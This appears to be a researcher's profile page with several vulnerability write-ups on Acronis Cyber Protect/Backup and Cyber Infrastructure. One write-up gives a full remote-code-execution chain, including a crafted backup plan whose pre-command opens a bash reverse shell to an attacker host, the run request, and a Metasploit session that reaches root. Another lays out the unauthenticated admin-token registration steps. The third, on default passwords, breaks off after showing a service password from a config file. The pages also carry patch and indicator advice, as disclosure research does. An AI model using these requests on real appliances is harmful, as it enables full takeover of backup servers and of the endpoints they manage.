h00die-gr3y (126)
Last Login: December 06, 2024
h00die-gr3y's Latest (20) Contributions
Technical Analysis
In my previous attackerkb article CVE-2022-30995 I explained the vulnerability where an unauthenticated attacker can gain administrative access to the Acronis Cyber protect 15 / Backup 12.5 appliance and disclose sensitive information of the configured endpoint backup targets.
This article is a follow-up of that attack sequence where we actually will exploit this vulnerability and get root access on the appliance itself or one of the configured endpoint backup targets.
This vulnerability has a CVSS v3 Base Score of 8.8 which I personally think is underrated because this exploit allows you to get root or administrator access on the appliance and literally all endpoint backup targets that are configured within the appliance. A rating of 9.8 or 10 would be more appropriate here.
Let’s get started…
For the initial attack sequence to get administrative access to the API using the access token, I refer back to my other article CVE-2022-30995 where this is described in detail.
Our journey starts with fact that we successfully captured the administrative access token which by the way is valid for 30 days ;–)
If you read the documentation of the appliance, you will find a few interesting sections with application logic that opens up an avenue to execute remote commands. One particular section describes the creation of a backup plan on an endpoint target where you can configure pre- or post commands within the backup sequence. This is of course pretty cool because if we are able to use the API to configure a backup plan on particular endpoint with a pre-command that triggers a remote shell or meterpreter, then we have achieved our admin access on the endpoint.
A nice feature within the web console is that you can create a backup plan and export it to a json
file which you can import again at the appliance. This will give you a good insight on the structure of a backup plan and how to manipulate the pre-command field in order to achieve a remote code execution.
I have posted an example below of this backup plan where the pre-command is configured with a payload triggering a remote bash shell.
Import backup plan API request
POST /api/ams/backup/plan_operations/import?createDraftOnError=true HTTP/1.1 Host: 192.168.201.6:9877 Content-Length: 10080 X-Requested-With: XMLHttpRequest Accept-Language: en-GB,en;q=0.9 Accept: application/json Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZ6ACTlaDLLwA3mQ2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36 Origin: http://192.168.201.6:9877 Referer: http://192.168.201.6:9877/ Accept-Encoding: gzip, deflate, br Authorization: Bearer REDACTED access_token Connection: keep-alive ------WebKitFormBoundaryZ6ACTlaDLLwA3mQ2 Content-Disposition: form-data; name="planfile"; filename="cuckoo.json" Content-Type: application/json { "allowedActions": [ "rename", "revoke", "runNow" ], "allowedBackupTypes": [ "full", "incremental" ], "backupType": "files", "bootableMediaPlan": false, "editable": true, "enabled": true, "id": "F37FDF40-45BF-4ECD-A166-9D0345EB099D", "locations": { "data": [ { "displayName": "/tmp", "id": "[[\"ItemType\",\"local_folder\"],[\"LocalID\",\"/tmp\"]]", "type": "local_folder" } ] }, "name": "Oepsie You are Pawned!!!", "options": { "backupOptions": { "prePostCommands": { "postCommands": { "command": "", "commandArguments": "", "continueOnCommandError": false, "waitCommandComplete": true, "workingDirectory": "" }, "preCommands": { "command": "bash -c '0<&216-;exec 216<>/dev/tcp/192.168.201.8/1971;sh <&216 >&216 2>&216'", "commandArguments": "", "continueOnCommandError": true, "waitCommandComplete": false, "workingDirectory": "" }, "useDefaultCommands": false, "usePostCommands": false, "usePreCommands": true }, "prePostDataCommands": { "postCommands": { "command": "", "commandArguments": "", "continueOnCommandError": false, "waitCommandComplete": true, "workingDirectory": "" }, "preCommands": { "command": "", "commandArguments": "", "continueOnCommandError": false, "waitCommandComplete": true, "workingDirectory": "" }, "useDefaultCommands": true, "usePostCommands": false, "usePreCommands": false }, "scheduling": { "interval": { "type": "minutes", "value": 30 }, "type": "distributeBackupTimeOptions" }, "simultaneousBackups": { "simultaneousBackupsNumber": null }, "snapshot": { "quiesce": true, "retryConfiguration": { "reattemptOnError": true, "reattemptTimeFrame": { "type": "minutes", "value": 5 }, "reattemptsCount": 3, "silentMode": false } }, "taskExecutionWindow": {}, "taskFailureHandling": { "periodBetweenRetryAttempts": { "type": "hours", "value": 1 }, "retryAttempts": 1, "retryFailedTask": false }, "taskStartConditions": { "runAnyway": false, "runAnywayAfterPeriod": { "type": "hours", "value": 1 }, "waitUntilMet": true }, "validateBackup": false, "volumes": { "forceVssFullBackup": false, "useMultiVolumeSnapshot": true, "useNativeVssProvider": false, "useVolumeShadowService": true, "useVssFlags": [ "definedRule" ] }, "vssFlags": { "availableVssModes": [ "auto", "system" ], "enabled": true, "value": "auto", "vssFullBackup": false }, "windowsEventLog": { "isGlobalConfigurationUsed": true, "traceLevel": "warning", "traceState": false }, "withHWSnapshot": false }, "specificParameters": { "inclusionRules": { "rules": [ "/mnt" ], "rulesType": "centralizedFiles" }, "type": "" } }, "origin": "centralized", "route": { "archiveSlicing": null, "stages": [ { "archiveName": "[Machine Name]-[Plan ID]-[Unique ID]A", "cleanUpIfNoSpace": false, "cleanup": { "time": [ { "backupSet": "daily", "period": { "type": "days", "value": 7 } }, { "backupSet": "weekly", "period": { "type": "weeks", "value": 4 } } ], "type": "cleanupByTime" }, "destinationKind": "local_folder", "locationScript": null, "locationUri": "/tmp", "locationUriType": "local", "maintenanceWindow": null, "postAction": { "convertToVMParameters": { "agentIds": [], "cpuCount": null, "diskAllocationType": "thick", "displayedName": null, "enabled": false, "exactMemorySize": false, "infrastructureType": "", "memorySize": null, "networkAdapters": [], "virtualMachineName": "", "virtualServerHost": null, "virtualServerHostKey": "[[\"ItemType\",\"\"],[\"LocalID\",\"\"]]", "virtualServerStorage": "" } }, "rules": [ { "afterBackup": true, "backupCountUpperLimit": 0, "backupSetIndex": "daily", "backupUpperLimitSize": 0, "beforeBackup": false, "consolidateBackup": false, "deleteOlderThan": { "type": "days", "value": 7 }, "deleteYongerThan": { "type": "days", "value": 0 }, "onSchedule": false, "retentionSchedule": { "alarms": [], "conditions": [], "maxDelayPeriod": -1, "maxRetries": 0, "preventFromSleeping": true, "retryPeriod": 0, "type": "none", "unique": false, "waitActionType": "run" }, "stagingOperationType": "justCleanup" }, { "afterBackup": true, "backupCountUpperLimit": 0, "backupSetIndex": "weekly", "backupUpperLimitSize": 0, "beforeBackup": false, "consolidateBackup": false, "deleteOlderThan": { "type": "weeks", "value": 4 }, "deleteYongerThan": { "type": "days", "value": 0 }, "onSchedule": false, "retentionSchedule": { "alarms": [], "conditions": [], "maxDelayPeriod": -1, "maxRetries": 0, "preventFromSleeping": true, "retryPeriod": 0, "type": "none", "unique": false, "waitActionType": "run" }, "stagingOperationType": "justCleanup" } ], "useProtectionPlanCredentials": true, "validationRules": null } ] }, "scheme": { "parameters": { "backupSchedule": { "kind": { "dataType": "binary", "type": "full" }, "schedule": { "alarms": [ { "beginDate": { "day": 0, "month": 0, "year": 0 }, "calendar": { "days": 65, "type": "weekly", "weekInterval": 0 }, "distribution": { "enabled": false, "interval": 0, "method": 0 }, "endDate": { "day": 0, "month": 0, "year": 0 }, "machineWake": false, "repeatAtDay": { "endTime": { "hour": 0, "minute": 0, "second": 0 }, "timeInterval": 0 }, "runLater": false, "skipOccurrences": 0, "startTime": { "hour": 23, "minute": 0, "second": 0 }, "startTimeDelay": 0, "type": "time", "utcBasedSettings": false } ], "conditions": [], "maxDelayPeriod": -1, "maxRetries": 0, "preventFromSleeping": true, "retryPeriod": 0, "type": "daily", "unique": false, "waitActionType": "run" } }, "backupTypeRule": "byScheme" }, "schedule": { "daysOfWeek": [ "monday", "tuesday", "wednesday", "thursday", "friday" ], "effectiveDates": { "from": { "day": 0, "month": 0, "year": 0 }, "to": { "day": 0, "month": 0, "year": 0 } }, "machineWake": false, "preventFromSleeping": true, "runLater": false, "startAt": { "hour": 23, "minute": 0, "second": 0 }, "type": "daily" }, "type": "weekly_full_daily_inc" }, "sources": { "data": [ { "displayName": "cuckoo", "hostID": "65A7924F-3CFB-4EEE-8D95-D5201278D8C1", "id": "phm.E48C641B-F869-412E-AE9A-2E6A9D0D3443@65A7924F-3CFB-4EEE-8D95-D5201278D8C1.disks" } ] }, "target": { "inclusions": [ { "key": "phm.E48C641B-F869-412E-AE9A-2E6A9D0D3443@65A7924F-3CFB-4EEE-8D95-D5201278D8C1.disks", "resource_key": "phm.E48C641B-F869-412E-AE9A-2E6A9D0D3443@65A7924F-3CFB-4EEE-8D95-D5201278D8C1.disks" } ] }, "tenant": { "id": "phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks", "locator": "/phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks/", "name": "phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks", "parentID": "" } } ------WebKitFormBoundaryZ6ACTlaDLLwA3mQ2--
Response
If successful, it will return the planId
that can be used to execute the backup plan on a specific endpoint.
HTTP/1.1 200 OK Cache-Control: no-cache Cache-Control: no-cache Content-Length: 169 Content-Type: application/json Content-Security-Policy:default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; font-src 'self'; img-src 'self' data: https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; frame-src 'self' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; Date: Sat, 19 Oct 2024 16:01:13 GMT Expires: -1 Pragma: no-cache Server: Werkzeug/0.9.3 Python/3.5.3 Set-Cookie: session=eyJBQ1JPU0VTU0lPTiI6IjIxZWZlM2I5NThiNzE4YTAyNDIyODJmNzU3NWE1NjNjZGY1MTQwMmFjNGM3ZjZjMzUyYTc4Y2IxNjYxMDhmYTUifQ.GfVpSQ.pf1qJZH04xv1xv9ywxE_tbxD8ro; Secure; HttpOnly; Path=/ X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; font-src 'self'; img-src 'self' data: https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; frame-src 'self' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Internal-Request-Id: RGLvjgwjYDSQz8eZnvXuwn X-Request-Id: hXoxoawUe5u3E44naHSuvc X-Xss-Protection: 1; mode=block { "data": { "failedFiles": [], "importedPlans": [ { "planId": "2EA2CE9D-6AB7-495D-906A-6E12FADF43CF", "fileName": "cuckoo.json", "draftId": "00000000-0000-0000-0000-000000000000" } ] } }
It is important to understand that you need to assign a backup plan to a specific endpoint target which is defined in the appliance. You will need three important identifiers:
[+] hostId
[+] parentId
[+] key
You can collect this information with Metasploit recon module that you can find here Metasploit PR 19582 – Acronis Cyber Backup/Protect Info Disclosure.
msf6 > use auxiliary/gather/acronis_cyber_protect_machine_info_disclosure msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > set rhosts 192.168.201.6 rhosts => 192.168.201.6 msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run [*] Running module against 192.168.201.6 [*] Running automatic check ("set AutoCheck false" to disable) [*] Retrieve the first access token. [*] Register a dummy backup agent. [*] Dummy backup agent registration is successful. [*] Retrieve the second access token. [+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.14330 [*] Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance. [*] List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance. [*] ---------------------------------------- [+] hostId: 65A7924F-3CFB-4EEE-8D95-D5201278D8C1 [+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks [+] key: phm.E48C641B-F869-412E-AE9A-2E6A9D0D3443@65A7924F-3CFB-4EEE-8D95-D5201278D8C1.disks [*] type: machine [*] hostname: AcronisAppliance-365C2 [*] IP: 192.168.201.6 [*] OS: GNU/Linux [*] ARCH: linux [*] ONLINE: true [*] Auxiliary module execution completed msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) >
If you have assigned an endpoint target (see the Import backup plan API request), then simply execute the backup plan using the planId
and you will trigger a remote shell.
POST /api/ams/backup/plan_operations/run HTTP/1.1 Host: 192.168.201.6:9877 Content-Length: 49 Content-Type: application/json X-Requested-With: XMLHttpRequest Accept-Language: en-GB,en;q=0.9 Accept: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36 Origin: http://192.168.201.6:9877 Referer: http://192.168.201.6:9877/ Accept-Encoding: gzip, deflate, br Authorization: Bearer REDACTED access_token Connection: keep-alive { "planId":"2EA2CE9D-6AB7-495D-906A-6E12FADF43CF" }
When running a multi/handler in Metasploit configured with remote bash shell payload, it will trigger the RCE.
msf6 exploit(multi/handler) > options Payload options (cmd/unix/reverse_bash): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 0.0.0.0 yes The listen address (an interface may be specified) LPORT 1971 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target View the full module info with the info, or info -d command. msf6 exploit(multi/handler) > exploit -j -z [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 0.0.0.0:1971 msf6 exploit(multi/handler) > [*] Command shell session 2 opened (192.168.201.8:1971 -> 192.168.201.6:42780) at 2024-12-06 09:40:42 +0000 msf6 exploit(multi/handler) > sessions -i 2 [*] Starting interaction with 2... pwd /var/lib/Acronis/mms id uid=0(root) gid=0(root) groups=0(root) uname -a Linux AcronisAppliance-365C2 3.10.0-693.11.6.el7.x86_64 #1 SMP Thu Jan 4 01:06:37 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
I have created a Metasploit module with PR 19853 that exploits this vulnerability and performs a remote code execution in order to gain root or administrator access on the targeted endpoint. You can configure a specific endpoint using the id information collected by the recon Metasploit module PR 19582 or if not specified, it will target the appliance itself.
Mitigation
Please patch your appliance to the latest supported version or at least a build version above Acronis Cyber Protect 15 (Windows, Linux) build 29486 or
Acronis Cyber Backup 12.5 (Windows, Linux) build 16545.
Indicators of Compromise (IOC)
Please check at the web console for suspicious backup plan executions that might popup in the activity or alert list.
References
CVE-2022-3405
Security advisory usd-2022-0008
Acronis Cyber Protect/Backup Downloads
Acronis Cyber Protect 15 Documentation
Metasploit PR 19583 – Acronis Cyber Backup/Protect Remote Code Execution.
Metasploit PR 19582 – Acronis Cyber Backup/Protect Info Disclosure
Credits goes to
Sandro Tolksdorf of usd AG for the discovery of this vulnerability.
Technical Analysis
After my previous attackerkb article CVE-2023-45249 on Acronis Cyber Infrastructure with the default password vulnerability, I became curious what else could be found in the Acronis cyber suite of applications.
Quickly, I bumped into a security advisory usd-2022-0008 of usd HeroLab explaining a serious security flaw in the Acronis Cyber Protect 15 and Acronis Cyber Backup 12.5 appliance that allows unauthenticated attackers to gain full admin access on the Acronis appliance.
The origin of the security flaw arises from the fact that agents installed on endpoints can register without any authentication on the appliance.
Probably, this design decision was taken in order to ease the automation of agent registrations on many endpoints. Unfortunately, the agent registration access is on the level of admin and can be misused to gain full control on the appliance and all the registered endpoints. This makes it a very attractive target for malicious actors with, potentially, a very large attack surface.
The advisory of usd HeroLab describes the attack sequence for Acronis Cyber Protect 15 which will not work for the Acronis Cyber Backup 12.5 vulnerable versions.
Below is the attack sequence that works for both releases 15
and 12.5
.
First step: Get the first access token
POST /idp/token HTTP/1.1 Host: 192.168.201.6:9877 Accept: */* Content-Type: application/x-www-form-urlencoded Origin: https://backup.acronis.com Content-Length: 19 Connection: keep-alive grant_type=password
Response
HTTP/1.1 200 OK Cache-Control: no-store Content-Length: 1436 Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self'; Content-Type: application/json Date: Sun, 20 Oct 2024 13:00:54 GMT Pragma: no-cache Vary: Accept-Encoding X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self'; X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Xss-Protection: 1; mode=block {"access_token":"[REDACTED access_token]","token_type":"bearer","expires_in":86399,"id_token":"REDACTED"}
Second step: Register an agent using the access_token
Note: you can generate your own client_id
uuid.
POST /api/account_server/v2/clients HTTP/1.1 Host: 192.168.201.6:9877 Accept: */* Authorization: Bearer [REDACTED access_token] Content-Type: application/json Content-Length: 219 Connection: keep-alive {"client_id":"51088f07-76df-4933-8382-ce8ad4c58401","data":{"agent_type":"backupAgent","hostname":"cuckoo.evil.corp","is_transient":true},"tenant_id":"","token_endpoint_auth_method":"client_secret_basic","type":"agent"}
Response
HTTP/1.1 201 Created Cache-Control: no-cache Content-Length: 1217 Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self'; Content-Type: application/json Date: Sun, 20 Oct 2024 13:01:11 GMT Pragma: no-cache Vary: Accept-Encoding X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self'; X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Xss-Protection: 1; mode=block {"client_id":"51088f07-76df-4933-8382-ce8ad4c58401","version":0,"client_secret":"ph3mhvz4xqyhx3jk62dten6tau6xjo32qgy6svify5tt5zzgbmnm","registration_access_token":"kp24vdxcku7xgpn72ufnq5sjoi5odggiz2wb4ta4mqls66zkbvge","registration_client_uri":"https://192.168.201.6:9877/api/account_server/clients/51088f07-76df-4933-8382-ce8ad4c58401","type":"agent","tenant_id":"00000000-0000-0000-0000-000000000000","data":{"agent_type":"backupAgent","hostname":"cuckoo.evil.corp","is_transient":true},"token_endpoint_auth_method":"client_secret_basic","_href":"/api/account_server/v2/clients" ,"_links":[{"rel":"get","type":"application/json","href":"/api/account_server/v2/clients/51088f07-76df-4933-8382-ce8ad4c58401"},{"rel":"delete","href":"/api/account_server/v2/clients/51088f07-76df-4933-8382-ce8ad4c58401"},{"rel":"update","type":"application/json","href":"/api/account_server/v2/clients/51088f07-76df-4933-8382-ce8ad4c58401"},{"rel":"add_access_policy","type":"application/json","href":"/api/account_server/v2/clients/51088f07-76df-4933-8382-ce8ad4c58401/access_policies"},{"rel":"access_policies","type":"application/json","href":"/api/account_server/v2/clients/51088f07-76df-4933-8382-ce8ad4c58401/access_policies"}] }
Last step: Use the client_id
and client_secret
to get the admin access token
POST /idp/token HTTP/1.1 Host: 192.168.201.6:9877 Accept: */* Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 143 Connection: keep-alive grant_type=client_credentials&client_id=51088f07-76df-4933-8382-ce8ad4c58401&client_secret=ph3mhvz4xqyhx3jk62dten6tau6xjo32qgy6svify5tt5zzgbmnm
Response
HTTP/1.1 200 OK Cache-Control: no-store Content-Length: 816 Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self'; Content-Type: application/json Date: Sun, 20 Oct 2024 13:01:25 GMT Pragma: no-cache Vary: Accept-Encoding X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self'; X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Xss-Protection: 1; mode=block {"access_token":"[REDACTED admin_token]","token_type":"bearer","expires_in":2591999}
And with this admin access_token (valid for 30 days), an unauthenticated attacker can use all the API calls at free will.
For instance, get the version information of the appliance.
GET /api/ams/versions HTTP/1.1 Host: 192.168.201.6:9877 X-Requested-With: XMLHttpRequest Accept-Language: en-GB,en;q=0.9 Accept: application/json Content-Type: application/json; charset=utf-8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36 Referer: http://192.168.201.5:9877/ Accept-Encoding: gzip, deflate, br Authorization: Bearer [REDACTED admin_token] Connection: keep-alive
Response
HTTP/1.1 200 OK Cache-Control: no-cache Cache-Control: no-cache Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self'; Content-Type: application/json Date: Sun, 20 Oct 2024 13:01:45 GMT Expires: -1 Pragma: no-cache Set-Cookie: session=eyJBQ1JPU0VTU0lPTiI6IldRZkxnNllVaC0zUldTdTEifQ.GfaQuQ.OAc_hunx2cL18m0_i9RM2dlfoho; Expires=Sun, 20-Oct-2024 13:11:45 GMT; Max-Age=600; HttpOnly; Path=/ Vary: Accept-Encoding X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self'; X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Xss-Protection: 1; mode=block Content-Length: 73 {"apiVersions":0,"backendVersion":"12.5.11010","buildNumber":"12.5.3710"}
This is of course pretty bad, because you can now pull all configurations of the registered endpoints at the appliance using the admin token in combination with an simple API call GET /api/ams/resources?embed=details
.
And this information can be used to plan subsequent attacks targeting specific endpoints, such as domain controllers or other interesting infrastructure.
I have created a Metasploit module with PR 19852 that exploits this vulnerability and gathers all endpoint information registered at a vulnerable appliance.
This information can then be used in another Metasploit module PR 19583 that actually performs a remote code execution in order to gain root or administrator access on the targeted endpoint. A more detailed explanation can be found in the attackerkb article CVE-2022-3405.
Mitigation
Please patch your appliance to the latest supported version or at least a build version above Acronis Cyber Protect 15 (Windows, Linux) build 29486 or
Acronis Cyber Backup 12.5 (Windows, Linux) build 16545.
Indicators of Compromise (IOC)
Unfortunately, there is not much to go on because all requests are genuine requests and the dummy agent registration does not show up in the activity or alert list at the web console on the appliance.
References
CVE-2022-30955
Security advisory usd-2022-0008
Acronis Cyber Protect/Backup Downloads
Metasploit PR 19582 – Acronis Cyber Backup/Protect Info Disclosure
Metasploit PR 19583 – Acronis Cyber Backup/Protect RCE
Credits goes to
Sandro Tolksdorf of usd AG for the discovery of this vulnerability.
@ccondon-r7 you are most welcome!!!
Technical Analysis
On 24 July, Acronis published the security advisory SEC-6452: Remote command execution due to use of default passwords where default passwords are exploited to gain admin access to the Acronis Cyber Infrastructure. It was also reported by Acronis that this vulnerability was actively exploited by cyber criminals and patched 9 months ago.
If you search for actual examples of the exploit, no detailed technical publications are available, so I thought let’s give it a go and figure out what this vulnerability is all about.
So I downloaded a Acronis Cyber Infrastructure (ACI) appliance 4.7
from their website and installed it on VirtualBox (see this article).
After completing the installation process, you access the Acronis Web Portal on port 8888 via HTTPS with the admin credentials set during the installation. You can also the access the appliance directly by logging in as root. These credentials are also asked and set during the installation process. This is of course very helpful to analyze the server image because you have full access to appliance and the installed software.
So lets start the search for our default passwords!!!
Let’s check first the user credentials available on the appliance itself by checking the /etc/password
and /etc/shadow
files.
Not much to gain here. The only password hash available in the /etc/shadow
file is for user root
which is set during the initial setup of the ACI appliance.
Next in line is to investigate the user credentials available in the Acronis Web Portal.
If you login as admin, you will find in the settings->user and projects
section, three default users:
- admin
- backup-service-user
- vstorage-service-user
User admin credentials are set during the installation process so that rules out the default password.
Both the backup-service-user and storage-service-user are potential candidates where the storage-service-user is the most promising candidate because this user is default enabled and has the role system-administrator assigned.
The appliance has a PostgreSQL DB that stores all configuration information. The users, passwords and roles are stored in the keystone
database.
You can easily query the database by logging into the appliance as root and switch to the postgres
user and access the database with psql
.
Acronis Cyber Infrastructure release 4.7 ======================================================================== = Warning! Do not enable third-party repositories. Install third-party = = software only from the default repository. Use only commands allowed = = in the product documentation. = ======================================================================== [root@aci-471-53 ~]# su postgres bash-4.2$ psql could not change directory to "/root": Permission denied psql (11.16) Type "help" for help. postgres=# \l List of databases Name | Owner | Encoding | Collate | Ctype | Access privileges ------------+------------+----------+-------------+-------------+----------------------- coredns | coredns | UTF8 | en_US.UTF-8 | en_US.UTF-8 | grafana | grafana | UTF8 | en_US.UTF-8 | en_US.UTF-8 | keystone | vstoradmin | UTF8 | en_US.UTF-8 | en_US.UTF-8 | postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + | | | | | postgres=CTc/postgres template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + | | | | | postgres=CTc/postgres vstoradmin | vstoradmin | UTF8 | en_US.UTF-8 | en_US.UTF-8 | (7 rows) postgres=# \c keystone You are now connected to database "keystone" as user "postgres". keystone=# select * from "local_user"; id | user_id | domain_id | name | failed_auth_count | failed_auth_at ----+----------------------------------+-----------+-----------------------+-------------------+---------------- 1 | a56cc7f698fa41d99d1c9dd22aa73580 | default | vstorage-service-user | 0 | 2 | 57bf107a224145c6a1217c71da5f4911 | default | backup-service-user | | 3 | fad1606d29a64ff6b7c45b1128551a97 | default | admin | 0 | (3 rows) keystone=# select * from "password"; id | local_user_id | expires_at | self_service | password_hash | created_at_int | expires_at_int | created_at ----+---------------+----------------------------+--------------+--------------------------------------------------------------+------------------+------------------+---------------------------- 1 | 1 | 2024-08-05 11:31:58.573171 | f | $2b$12$/.ZPGchRUlOGJcNO2S.bOOF3ykww0vShNEr/jwZxvQtksCzGHYcrO | 1653058897767616 | 1722857518573171 | 2022-05-20 15:01:37.767616 2 | 1 | | f | $2b$12$YKyODw1N3mTO9qj7ch1h6O2qZQGjSgW/CIKyQ2Tz7A49sJvHI0r/q | 1722857518573171 | | 2024-08-05 11:31:58.573171 3 | 3 | | f | $2b$12$3PT2/rbf4rkNBPThiZclyeD/FFP5UXLs4bTfg0L27LeSjqyxNQ2xO | 1722857529542615 | | 2024-08-05 11:32:09.542615 (3 rows)
We can query the users and the password hashes, which is promising but “Are these default passwords?”, and if yes, “What is the password?”
To answers these questions, we need to dig a bit deeper within the appliance and figure out what happens during the initial installation and configuration setup of the appliance.
One very interesting directory is /usr/libexec/vstorage-ui-backend/libexec
that holds most of initial configuration shell scripts called during the installation of the appliance.
[root@aci-471-53 libexec]# pwd /usr/libexec/vstorage-ui-backend/libexec [root@aci-471-53 libexec]# ls alua-functions.sh keystone-service-init.sh oneshot-0021-enable-russian-language.sh bouncer-functions.sh logging.sh oneshot-cleanup-wal-archive.sh check-backend.sh oneshot-0008-upgrade-to-roles-sets.sh oneshot-disable-wal-archiving.sh clear-vips.sh oneshot-0009-upgrade-db.sh oneshot-init-keystone.sh db-functions.sh oneshot-0010-disable-pghba-ident-entry.sh oneshot-migrate-roles-to-agent.sh dns-functions.sh oneshot-0011-init-coredns.sh on-master.sh functions.sh oneshot-0012-enable-ha-for-postgresql.sh on-standby.sh gen-certificate.sh oneshot-0013-clean-up-mdses-in-order-to-add-dns-srv-recs.sh pg-convert-layout.sh ha-ovh-setup oneshot-0014-create-self-service-roles-in-keystone.sh pg-scripts.sh ha-ovh-teardown oneshot-0015-clean-up-mdses-in-order-to-activate-vstorage-target-manager.sh pg-switch-to-hot-standby.sh ha-scripts.sh oneshot-0016-update-internal-endpoint-in-keystone.sh pg-switch-to-master.sh init-backend.sh oneshot-0017-create-roles-implication-in-keystone.sh set-vips.sh init-grafana.sh oneshot-0018-create-backup-service-user.sh takeover-management-node.sh init-postinstall.sh oneshot-0019-create-compute-cert.sh utils-functions.sh keystone-functions.sh oneshot-0019-enable-postgres-backup.sh uwsgi-backend-stop.sh keystone-gen-env.sh oneshot-0020-turn-off-aip-early-access.sh [root@aci-471-53 libexec]#
I am not gonna dwell on all scripts, but the oneshot-init-keystone.sh
is an interesting script to explore what is happening during initial installation.
#!/usr/bin/env bash #set -x . ~vstoradmin/libexec/logging.sh LOG_FILE="/var/log/vstorage-ui-backend/init_keystone.log" BACKEND_CONFIG=/usr/libexec/vstorage-ui-backend/etc/backend.cfg log_init "${LOG_FILE}" exec &>>"${LOG_FILE}" . ~vstoradmin/libexec/db-functions.sh . ~vstoradmin/libexec/keystone-functions.sh grep -q -w "KEYSTONE_SERVICE_PASSWORD" ${BACKEND_CONFIG} || init_keystone
It calls two other scripts db-functions.sh
and keystone-functions.sh
which are worthwhile to explore and the last grep
command is very interesting where a KEYSTONE_SERVICE_PASSWORD
is queried from the file /usr/libexec/vstorage-ui-backend/etc/backend.cfg
.
We are getting closer…
If we check the file /usr/libexec/vstorage-ui-backend/etc/backend.cfg
it actually reveals the password of the vstorage-service-user!!!
KEYSTONE_USER_MIGRATION=True KEYSTONE_SERVICE_USER='vstorage-service-user' KEYSTONE_SERVICE_PASSWORD='3bfda47e79d62f7798e38acc7ff6' KEYSTONE_SERVICE_PROJECT='admin' KEYSTONE_ENDPOINT='https://127.0.0.1:5000/v3'
Is this the famous default password? Mmm, this looks too simple…
Let’s check how this password is ending up in this config file.
